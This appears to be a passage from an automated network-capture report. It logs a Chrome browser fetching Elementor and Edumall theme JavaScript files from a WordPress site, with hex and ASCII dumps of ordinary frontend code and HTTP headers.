2024-04-11 21:26:46 UTC	1369	IN	Data Raw: 73 2e 67 65 74 48 61 6e 64 6c 65 72 28 65 29 3a 74 68 69 73 2e 65 6c 65 6d 65 6e 74 73 48 61 6e 64 6c 65 72 73 7d 2c 74 68 69 73 2e 72 75 6e 52 65 61 64 79 54 72 69 67 67 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 2e 63 6f 6e 66 69 67 2e 69 73 5f 73 74 61 74 69 63 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 6e 3d 6a 51 75 65 72 79 28 74 29 2c 69 3d 6e 2e 61 74 74 72 28 22 64 61 74 61 2d 65 6c 65 6d 65 6e 74 5f 74 79 70 65 22 29 3b 69 66 28 69 26 26 28 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 2e 68 6f 6f 6b 73 2e 64 6f 41 63 74 69 6f 6e 28 22 66 72 6f 6e 74 65 6e 64 2f 65 6c 65 6d 65 6e 74 5f 72 65 61 64 79 2f 67 6c 6f 62 61 6c 22 2c 6e 2c 65 29 2c 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e Data Ascii: s.getHandler(e):this.elementsHandlers},this.runReadyTrigger=function(t){if(elementorFrontend.config.is_static)return;const n=jQuery(t),i=n.attr("data-element_type");if(i&&(elementorFrontend.hooks.doAction("frontend/element_ready/global",n,e),elementorFron
2024-04-11 21:26:46 UTC	1369	IN	Data Raw: 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 2e 4d 6f 64 75 6c 65 22 2c 22 32 2e 35 2e 30 22 2c 22 65 6c 65 6d 65 6e 74 6f 72 4d 6f 64 75 6c 65 73 2e 66 72 6f 6e 74 65 6e 64 2e 68 61 6e 64 6c 65 72 73 2e 42 61 73 65 22 29 2c 65 6c 65 6d 65 6e 74 6f 72 4d 6f 64 75 6c 65 73 2e 66 72 6f 6e 74 65 6e 64 2e 68 61 6e 64 6c 65 72 73 2e 42 61 73 65 7d 67 65 74 44 65 66 61 75 6c 74 53 65 74 74 69 6e 67 73 28 29 7b 72 65 74 75 72 6e 7b 73 65 6c 65 63 74 6f 72 73 3a 7b 65 6c 65 6d 65 6e 74 6f 72 3a 22 2e 65 6c 65 6d 65 6e 74 6f 72 22 2c 61 64 6d 69 6e 42 61 72 3a 22 23 77 70 61 64 6d 69 6e 62 61 72 22 7d 7d 7d 67 65 74 44 65 66 61 75 6c 74 45 6c 65 6d 65 6e 74 73 28 29 7b 63 6f 6e 73 74 20 65 3d 7b 77 69 6e 64 6f 77 2c 24 77 69 6e 64 6f 77 3a 6a 51 75 65 72 79 28 77 69 6e Data Ascii: entorFrontend.Module","2.5.0","elementorModules.frontend.handlers.Base"),elementorModules.frontend.handlers.Base}getDefaultSettings(){return{selectors:{elementor:".elementor",adminBar:"#wpadminbar"}}}getDefaultElements(){const e={window,$window:jQuery(win
2024-04-11 21:26:46 UTC	1369	IN	Data Raw: 74 75 72 6e 20 65 3b 73 2d 2d 7d 72 65 74 75 72 6e 20 74 5b 6e 5d 7d 67 65 74 57 69 64 65 73 63 72 65 65 6e 53 65 74 74 69 6e 67 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 74 2b 22 5f 77 69 64 65 73 63 72 65 65 6e 22 3b 6c 65 74 20 69 3b 72 65 74 75 72 6e 20 69 3d 65 5b 6e 5d 3f 65 5b 6e 5d 3a 65 5b 74 5d 2c 69 7d 67 65 74 43 75 72 72 65 6e 74 44 65 76 69 63 65 53 65 74 74 69 6e 67 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 44 65 76 69 63 65 53 65 74 74 69 6e 67 28 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 2e 67 65 74 43 75 72 72 65 6e 74 44 65 76 69 63 65 4d 6f 64 65 28 29 2c 65 2c 74 29 7d 69 73 45 64 69 74 4d 6f 64 65 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6f 6e 66 69 67 2e 65 6e 76 69 72 6f 6e 6d 65 6e 74 4d 6f 64 Data Ascii: turn e;s--}return t[n]}getWidescreenSetting(e,t){const n=t+"_widescreen";let i;return i=e[n]?e[n]:e[t],i}getCurrentDeviceSetting(e,t){return this.getDeviceSetting(elementorFrontend.getCurrentDeviceMode(),e,t)}isEditMode(){return this.config.environmentMod
2024-04-11 21:26:46 UTC	1369	IN	Data Raw: 76 65 4c 69 73 74 65 6e 65 72 73 28 65 2c 74 2c 69 29 2c 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 6a 51 75 65 72 79 29 7b 63 6f 6e 73 74 20 73 3d 74 2b 22 2e 22 2b 65 3b 69 2e 6f 6e 28 73 2c 6e 29 7d 65 6c 73 65 20 69 2e 6f 6e 28 74 2c 6e 2c 65 29 3b 65 6c 73 65 20 69 2e 6f 6e 28 74 2c 6e 29 7d 72 65 6d 6f 76 65 4c 69 73 74 65 6e 65 72 73 28 65 2c 74 2c 6e 2c 69 29 7b 69 66 28 69 7c 7c 28 69 3d 74 68 69 73 2e 65 6c 65 6d 65 6e 74 73 2e 24 77 69 6e 64 6f 77 29 2c 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 6a 51 75 65 72 79 29 7b 63 6f 6e 73 74 20 73 3d 74 2b 22 2e 22 2b 65 3b 69 2e 6f 66 66 28 73 2c 6e 29 7d 65 6c 73 65 20 69 2e 6f 66 66 28 74 2c 6e 2c 65 29 7d 64 65 62 6f 75 6e 63 65 28 65 2c 74 29 7b 6c 65 74 20 6e 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f Data Ascii: veListeners(e,t,i),i instanceof jQuery){const s=t+"."+e;i.on(s,n)}else i.on(t,n,e);else i.on(t,n)}removeListeners(e,t,n,i){if(i\|\|(i=this.elements.$window),i instanceof jQuery){const s=t+"."+e;i.off(s,n)}else i.off(t,n,e)}debounce(e,t){let n;return functio
2024-04-11 21:26:46 UTC	1369	IN	Data Raw: 4d 69 67 72 61 74 69 6f 6e 54 72 61 63 65 73 28 29 2c 70 2e 64 65 66 61 75 6c 74 2e 64 69 73 70 61 74 63 68 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 73 2e 24 77 69 6e 64 6f 77 2c 22 65 6c 65 6d 65 6e 74 6f 72 2f 66 72 6f 6e 74 65 6e 64 2f 69 6e 69 74 22 29 2c 74 68 69 73 2e 69 6e 69 74 4d 6f 64 75 6c 65 73 28 29 2c 74 68 69 73 2e 69 6e 69 74 4f 6e 52 65 61 64 79 45 6c 65 6d 65 6e 74 73 28 29 2c 74 68 69 73 2e 69 6e 69 74 4f 6e 52 65 61 64 79 43 6f 6d 70 6f 6e 65 6e 74 73 28 29 7d 6f 6e 44 6f 63 75 6d 65 6e 74 4c 6f 61 64 65 64 28 29 7b 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 73 4d 61 6e 61 67 65 72 3d 6e 65 77 20 73 2e 64 65 66 61 75 6c 74 2c 74 68 69 73 2e 74 72 69 67 67 65 72 28 22 63 6f 6d 70 6f 6e 65 6e 74 73 3a 69 6e 69 74 22 29 2c 6e 65 77 20 68 2e 64 Data Ascii: MigrationTraces(),p.default.dispatch(this.elements.$window,"elementor/frontend/init"),this.initModules(),this.initOnReadyElements(),this.initOnReadyComponents()}onDocumentLoaded(){this.documentsManager=new s.default,this.trigger("components:init"),new h.d
2024-04-11 21:26:46 UTC	1369	IN	Data Raw: 73 2e 68 61 6e 64 6c 65 4b 65 6e 42 75 72 6e 73 28 29 7d 7d 7d 3b 73 77 69 74 63 68 28 22 79 65 73 22 3d 3d 3d 65 2e 62 61 63 6b 67 72 6f 75 6e 64 5f 73 6c 69 64 65 73 68 6f 77 5f 6c 6f 6f 70 26 26 28 74 2e 6c 6f 6f 70 65 64 53 6c 69 64 65 73 3d 74 68 69 73 2e 67 65 74 53 6c 69 64 65 73 43 6f 75 6e 74 28 29 29 2c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 5f 73 6c 69 64 65 73 68 6f 77 5f 73 6c 69 64 65 5f 74 72 61 6e 73 69 74 69 6f 6e 29 7b 63 61 73 65 22 66 61 64 65 22 3a 74 2e 65 66 66 65 63 74 3d 22 66 61 64 65 22 2c 74 2e 66 61 64 65 45 66 66 65 63 74 3d 7b 63 72 6f 73 73 46 61 64 65 3a 21 30 7d 3b 62 72 65 61 6b 3b 63 61 73 65 22 73 6c 69 64 65 5f 64 6f 77 6e 22 3a 74 2e 61 75 74 6f 70 6c 61 79 2e 72 65 76 65 72 73 65 44 69 72 65 63 74 69 6f 6e 3d 21 30 3b Data Ascii: s.handleKenBurns()}}};switch("yes"===e.background_slideshow_loop&&(t.loopedSlides=this.getSlidesCount()),e.background_slideshow_slide_transition){case"fade":t.effect="fade",t.fadeEffect={crossFade:!0};break;case"slide_down":t.autoplay.reverseDirection=!0;
2024-04-11 21:26:46 UTC	1369	IN	Data Raw: 3d 69 7d 61 73 79 6e 63 20 69 6e 69 74 53 6c 69 64 65 72 28 29 7b 69 66 28 31 3e 3d 74 68 69 73 2e 67 65 74 53 6c 69 64 65 73 43 6f 75 6e 74 28 29 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 65 3d 74 68 69 73 2e 67 65 74 45 6c 65 6d 65 6e 74 53 65 74 74 69 6e 67 73 28 29 2c 74 3d 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 2e 75 74 69 6c 73 2e 73 77 69 70 65 72 3b 74 68 69 73 2e 73 77 69 70 65 72 3d 61 77 61 69 74 20 6e 65 77 20 74 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 73 2e 24 62 61 63 6b 67 72 6f 75 6e 64 53 6c 69 64 65 53 68 6f 77 43 6f 6e 74 61 69 6e 65 72 2c 74 68 69 73 2e 67 65 74 53 77 69 70 65 72 4f 70 74 69 6f 6e 73 28 29 29 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 74 73 2e 24 62 61 63 6b 67 72 6f 75 6e 64 53 6c 69 64 65 53 68 6f 77 43 6f 6e 74 Data Ascii: =i}async initSlider(){if(1>=this.getSlidesCount())return;const e=this.getElementSettings(),t=elementorFrontend.utils.swiper;this.swiper=await new t(this.elements.$backgroundSlideShowContainer,this.getSwiperOptions()),this.elements.$backgroundSlideShowCont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.17	49861	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:46 UTC	1081	OUT	GET /wp-content/themes/edumall/elementor/assets/js/widgets/grid-query.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:46 UTC	950	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:46 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e8b4c0a2365-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-264c" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LDN9BiEfHSsr%2F%2BEKEvbXKAt2gtWW8UdGAbgIBYAMGoeLi9X%2B2XF%2Fq7HQwZfYvi6e%2BMQYPEC%2FlSFAmJoC1CuXnHaXQhaQbNKvEseoVBhfX%2BPYCoLQbjdq%2FKQu3jiiNQeEnUo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:46 UTC	419	IN	Data Raw: 32 36 34 63 0d 0a 28 0a 09 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 09 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 09 09 24 2e 66 6e 2e 45 64 75 6d 61 6c 6c 47 72 69 64 51 75 65 72 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 24 65 6c 2c 20 24 67 72 69 64 3b 0a 09 09 09 76 61 72 20 69 73 51 75 65 72 79 69 6e 67 20 3d 20 66 61 6c 73 65 3b 0a 09 09 09 76 61 72 20 24 71 75 65 72 79 49 6e 70 75 74 3b 0a 0a 09 09 09 2f 2a 2a 0a 09 09 09 20 2a 20 55 73 65 20 73 6d 61 6c 6c 20 6c 6f 61 64 65 72 20 75 6e 64 65 72 20 6f 66 20 74 68 65 20 67 72 69 64 20 69 6e 73 74 65 61 64 20 6f 66 20 77 68 6f 6c 65 20 67 72 69 64 20 66 6f 72 20 70 61 67 69 6e 61 74 69 6f 6e 20 69 6e 66 69 6e 69 74 65 20 73 63 72 6f 6c 6c 20 2b 20 6c 6f 61 64 Data Ascii: 264c(function( $ ) {'use strict';$.fn.EdumallGridQuery = function() {var $el, $grid;var isQuerying = false;var $queryInput;/** * Use small loader under of the grid instead of whole grid for pagination infinite scroll + load
2024-04-11 21:26:46 UTC	1369	IN	Data Raw: 09 09 09 09 09 72 65 74 75 72 6e 3b 0a 09 09 09 09 7d 0a 0a 09 09 09 09 24 65 6c 2e 66 69 6e 64 28 20 27 2e 62 74 6e 2d 66 69 6c 74 65 72 27 20 29 2e 65 61 63 68 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 09 76 61 72 20 63 6f 75 6e 74 20 3d 20 24 28 20 74 68 69 73 20 29 2e 64 61 74 61 28 20 27 66 69 6c 74 65 72 2d 63 6f 75 6e 74 27 20 29 3b 0a 0a 09 09 09 09 09 69 66 20 28 20 24 28 20 74 68 69 73 20 29 2e 63 68 69 6c 64 72 65 6e 28 20 27 2e 66 69 6c 74 65 72 2d 63 6f 75 6e 74 65 72 27 20 29 2e 6c 65 6e 67 74 68 20 3e 20 30 20 29 20 7b 0a 09 09 09 09 09 09 24 28 20 74 68 69 73 20 29 2e 63 68 69 6c 64 72 65 6e 28 20 27 2e 66 69 6c 74 65 72 2d 63 6f 75 6e 74 65 72 27 20 29 2e 74 65 78 74 28 20 63 6f 75 6e 74 20 29 3b 0a 09 09 09 09 09 7d 20 65 Data Ascii: return;}$el.find( '.btn-filter' ).each( function() {var count = $( this ).data( 'filter-count' );if ( $( this ).children( '.filter-counter' ).length > 0 ) {$( this ).children( '.filter-counter' ).text( count );} e
2024-04-11 21:26:46 UTC	1369	IN	Data Raw: 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 09 09 63 61 73 65 20 27 64 61 74 65 27 3a 0a 09 09 09 09 09 09 09 6f 72 64 65 72 42 79 20 3d 20 27 64 61 74 65 27 3b 0a 09 09 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 09 09 63 61 73 65 20 27 70 72 69 63 65 27 3a 0a 09 09 09 09 09 09 09 6d 65 74 61 4b 65 79 20 3d 20 27 5f 6c 70 5f 73 6f 72 74 5f 70 72 69 63 65 27 3b 0a 09 09 09 09 09 09 09 6f 72 64 65 72 42 79 20 3d 20 27 6d 65 74 61 5f 76 61 6c 75 65 20 74 69 74 6c 65 27 3b 0a 09 09 09 09 09 09 09 6f 72 64 65 72 20 3d 20 27 41 53 43 27 3b 0a 09 09 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 09 09 63 61 73 65 20 27 70 72 69 63 65 2d 64 65 73 63 27 3a 0a 09 09 09 09 09 09 09 6d 65 74 61 4b 65 79 20 3d 20 27 5f 6c 70 5f 73 6f 72 74 5f 70 72 69 63 65 27 Data Ascii: break;case 'date':orderBy = 'date';break;case 'price':metaKey = '_lp_sort_price';orderBy = 'meta_value title';order = 'ASC';break;case 'price-desc':metaKey = '_lp_sort_price'
2024-04-11 21:26:46 UTC	1369	IN	Data Raw: 69 66 20 28 20 21 20 69 73 51 75 65 72 79 69 6e 67 20 29 20 7b 0a 09 09 09 09 09 09 09 24 28 20 74 68 69 73 20 29 2e 68 69 64 65 28 29 3b 0a 0a 09 09 09 09 09 09 09 76 61 72 20 70 61 67 65 64 20 3d 20 67 65 74 51 75 65 72 79 56 61 72 73 28 20 27 70 61 67 65 64 27 20 29 3b 0a 09 09 09 09 09 09 09 70 61 67 65 64 20 2b 2b 3b 0a 0a 09 09 09 09 09 09 09 73 65 74 51 75 65 72 79 56 61 72 73 28 20 27 70 61 67 65 64 27 2c 20 70 61 67 65 64 20 29 3b 0a 09 09 09 09 09 09 09 68 61 6e 64 6c 65 72 51 75 65 72 79 28 29 3b 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 09 7d 20 29 3b 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 24 65 6c 2e 64 61 74 61 28 20 27 70 61 67 69 6e 61 74 69 6f 6e 27 20 29 20 3d 3d 3d 20 27 69 6e 66 69 6e 69 74 65 27 20 29 20 7b 0a 09 09 09 09 09 Data Ascii: if ( ! isQuerying ) {$( this ).hide();var paged = getQueryVars( 'paged' );paged ++;setQueryVars( 'paged', paged );handlerQuery();}} );} else if ( $el.data( 'pagination' ) === 'infinite' ) {
2024-04-11 21:26:46 UTC	1369	IN	Data Raw: 65 43 6c 61 73 73 28 20 27 64 69 73 61 62 6c 65 64 27 20 29 3b 0a 09 09 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 09 6e 65 78 74 4c 69 6e 6b 2e 61 64 64 43 6c 61 73 73 28 20 27 64 69 73 61 62 6c 65 64 27 20 29 3b 0a 09 09 09 09 09 09 7d 0a 0a 09 09 09 09 09 09 73 65 74 51 75 65 72 79 56 61 72 73 28 20 27 70 61 67 65 64 27 2c 20 70 61 67 65 64 20 29 3b 0a 09 09 09 09 09 09 68 61 6e 64 6c 65 72 51 75 65 72 79 28 20 74 72 75 65 20 29 3b 0a 09 09 09 09 09 7d 20 29 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 0a 09 09 09 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 72 53 63 72 6f 6c 6c 49 6e 66 69 6e 69 74 65 28 29 20 7b 0a 09 09 09 09 76 61 72 20 77 69 6e 64 6f 77 48 65 69 67 68 74 20 3d 20 24 28 20 77 69 6e 64 6f 77 20 29 2e 68 65 69 67 68 74 28 29 Data Ascii: eClass( 'disabled' );} else {nextLink.addClass( 'disabled' );}setQueryVars( 'paged', paged );handlerQuery( true );} );}}function handlerScrollInfinite() {var windowHeight = $( window ).height()
2024-04-11 21:26:46 UTC	1369	IN	Data Raw: 20 24 65 6c 2e 6f 75 74 65 72 48 65 69 67 68 74 28 20 74 72 75 65 20 29 3b 0a 09 09 09 09 09 09 6f 66 66 73 65 74 54 6f 70 20 3d 20 65 6c 4f 66 66 73 65 74 54 6f 70 20 2b 20 65 6c 48 65 69 67 68 74 3b 0a 09 09 09 09 09 09 66 69 6e 61 6c 4f 66 66 73 65 74 20 3d 20 6f 66 66 73 65 74 54 6f 70 20 2d 20 68 61 6c 66 57 48 3b 0a 09 09 09 09 09 7d 2c 20 31 30 30 20 29 3b 0a 09 09 09 09 7d 20 29 3b 0a 09 09 09 7d 0a 0a 09 09 09 2f 2a 2a 0a 09 09 09 20 2a 20 4c 6f 61 64 20 70 6f 73 74 20 69 6e 66 69 6e 69 74 79 20 66 72 6f 6d 20 64 62 2e 0a 09 09 09 20 2a 2f 0a 09 09 09 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 72 51 75 65 72 79 28 20 72 65 73 65 74 20 29 20 7b 0a 09 09 09 09 69 73 51 75 65 72 79 69 6e 67 20 3d 20 74 72 75 65 3b 0a 0a 09 09 09 09 76 61 72 20 6c Data Ascii: $el.outerHeight( true );offsetTop = elOffsetTop + elHeight;finalOffset = offsetTop - halfWH;}, 100 );} );}/** * Load post infinity from db. */function handlerQuery( reset ) {isQuerying = true;var l
2024-04-11 21:26:46 UTC	1369	IN	Data Raw: 09 09 69 6e 66 69 6e 69 74 65 4c 6f 61 64 65 72 20 3d 20 66 61 6c 73 65 3b 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 09 7d 20 29 3b 0a 09 09 09 09 7d 2c 20 35 30 30 20 29 3b 0a 09 09 09 7d 0a 0a 09 09 09 2f 2a 2a 0a 09 09 09 20 2a 20 52 65 6d 6f 76 65 20 70 61 67 69 6e 61 74 69 6f 6e 20 69 66 20 68 61 73 20 6e 6f 20 70 6f 73 74 73 20 61 6e 79 6d 6f 72 65 0a 09 09 09 20 2a 2f 0a 09 09 09 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 72 51 75 65 72 79 45 6e 64 28 29 20 7b 0a 09 09 09 09 2f 2f 20 44 6f 20 6e 6f 74 20 61 70 70 6c 79 20 66 6f 72 20 27 6e 61 76 69 67 61 74 69 6f 6e 27 20 74 79 70 65 2e 0a 09 09 09 09 69 66 20 28 20 24 65 6c 2e 64 61 74 61 28 20 27 70 61 67 69 6e 61 74 69 6f 6e 27 20 29 20 3d 3d 3d 20 27 6e 61 76 69 67 61 74 69 6f 6e 27 20 29 20 7b Data Ascii: infiniteLoader = false;}} );}, 500 );}/** * Remove pagination if has no posts anymore */function handlerQueryEnd() {// Do not apply for 'navigation' type.if ( $el.data( 'pagination' ) === 'navigation' ) {
2024-04-11 21:26:46 UTC	1179	IN	Data Raw: 61 72 20 63 6f 75 6e 74 20 3d 20 67 65 74 51 75 65 72 79 28 20 27 66 6f 75 6e 64 5f 70 6f 73 74 73 27 20 29 3b 0a 09 09 09 09 09 72 65 73 75 6c 74 43 6f 75 6e 74 2e 66 69 6e 64 28 20 27 2e 63 6f 75 6e 74 27 20 29 2e 74 65 78 74 28 20 63 6f 75 6e 74 20 29 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 0a 09 09 09 66 75 6e 63 74 69 6f 6e 20 67 65 74 51 75 65 72 79 28 20 6e 61 6d 65 20 29 20 7b 0a 09 09 09 09 76 61 72 20 71 75 65 72 79 20 3d 20 6a 51 75 65 72 79 2e 70 61 72 73 65 4a 53 4f 4e 28 20 24 71 75 65 72 79 49 6e 70 75 74 2e 76 61 6c 28 29 20 29 3b 0a 0a 09 09 09 09 72 65 74 75 72 6e 20 71 75 65 72 79 5b 20 6e 61 6d 65 20 5d 3b 0a 09 09 09 7d 0a 0a 09 09 09 66 75 6e 63 74 69 6f 6e 20 73 65 74 51 75 65 72 79 28 20 6e 61 6d 65 2c 20 6e 65 77 56 61 6c 75 65 20 Data Ascii: ar count = getQuery( 'found_posts' );resultCount.find( '.count' ).text( count );}}function getQuery( name ) {var query = jQuery.parseJSON( $queryInput.val() );return query[ name ];}function setQuery( name, newValue
2024-04-11 21:26:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.17	49862	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:46 UTC	1089	OUT	GET /wp-content/themes/edumall/elementor/assets/js/widgets/widget-course-tabs.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:46 UTC	939	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:46 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e8b5fa2c335-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-992" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ns%2BYf8g5T4xND5iKVtwzY4AynKyj5%2FLpMB5H1TUCp2yFIhjkkqHSMoQzzp1aXBJMtza9OxjRY7KEzbJ7yZrRrk4r1jGVP1bmggnF2aokUcWgJBtumI182vQc%2FlaoTiHxwuE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:46 UTC	430	IN	Data Raw: 39 39 32 0d 0a 28 0a 09 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 09 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 09 09 76 61 72 20 45 64 75 6d 61 6c 6c 43 6f 75 72 73 65 54 61 62 73 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 24 73 63 6f 70 65 2c 20 24 20 29 20 7b 0a 09 09 09 76 61 72 20 24 65 6c 65 6d 65 6e 74 20 3d 20 24 73 63 6f 70 65 2e 66 69 6e 64 28 20 27 2e 65 64 75 6d 61 6c 6c 2d 74 61 62 70 61 6e 65 6c 27 20 29 3b 0a 0a 09 09 09 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 2e 77 61 79 70 6f 69 6e 74 28 20 24 65 6c 65 6d 65 6e 74 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 76 61 72 20 6e 61 76 54 61 62 73 20 3d 20 24 65 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 28 20 27 2e 65 64 75 6d 61 6c 6c 2d 74 61 62 2d 63 6f 6e 74 Data Ascii: 992(function( $ ) {'use strict';var EdumallCourseTabs = function( $scope, $ ) {var $element = $scope.find( '.edumall-tabpanel' );elementorFrontend.waypoint( $element, function() {var navTabs = $element.children( '.edumall-tab-cont
2024-04-11 21:26:46 UTC	1369	IN	Data Raw: 78 2d 6c 6f 61 64 65 64 27 20 29 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 20 29 3b 0a 0a 09 09 09 24 28 20 64 6f 63 75 6d 65 6e 74 20 29 2e 6f 6e 28 20 27 45 64 75 6d 61 6c 6c 54 61 62 43 68 61 6e 67 65 27 2c 20 66 75 6e 63 74 69 6f 6e 28 20 65 2c 20 74 61 62 50 61 6e 65 6c 2c 20 63 75 72 72 65 6e 74 54 61 62 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 21 20 63 75 72 72 65 6e 74 54 61 62 2e 68 61 73 43 6c 61 73 73 28 20 27 61 6a 61 78 2d 6c 6f 61 64 65 64 27 20 29 20 29 20 7b 0a 09 09 09 09 09 6c 6f 61 64 43 6f 75 72 73 65 44 61 74 61 28 20 63 75 72 72 65 6e 74 54 61 62 20 29 3b 0a 0a 09 09 09 09 09 63 75 72 72 65 6e 74 54 61 62 2e 61 64 64 43 6c 61 73 73 28 20 27 61 6a 61 78 2d 6c 6f 61 64 65 64 27 20 29 3b 0a 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 Data Ascii: x-loaded' );}} );$( document ).on( 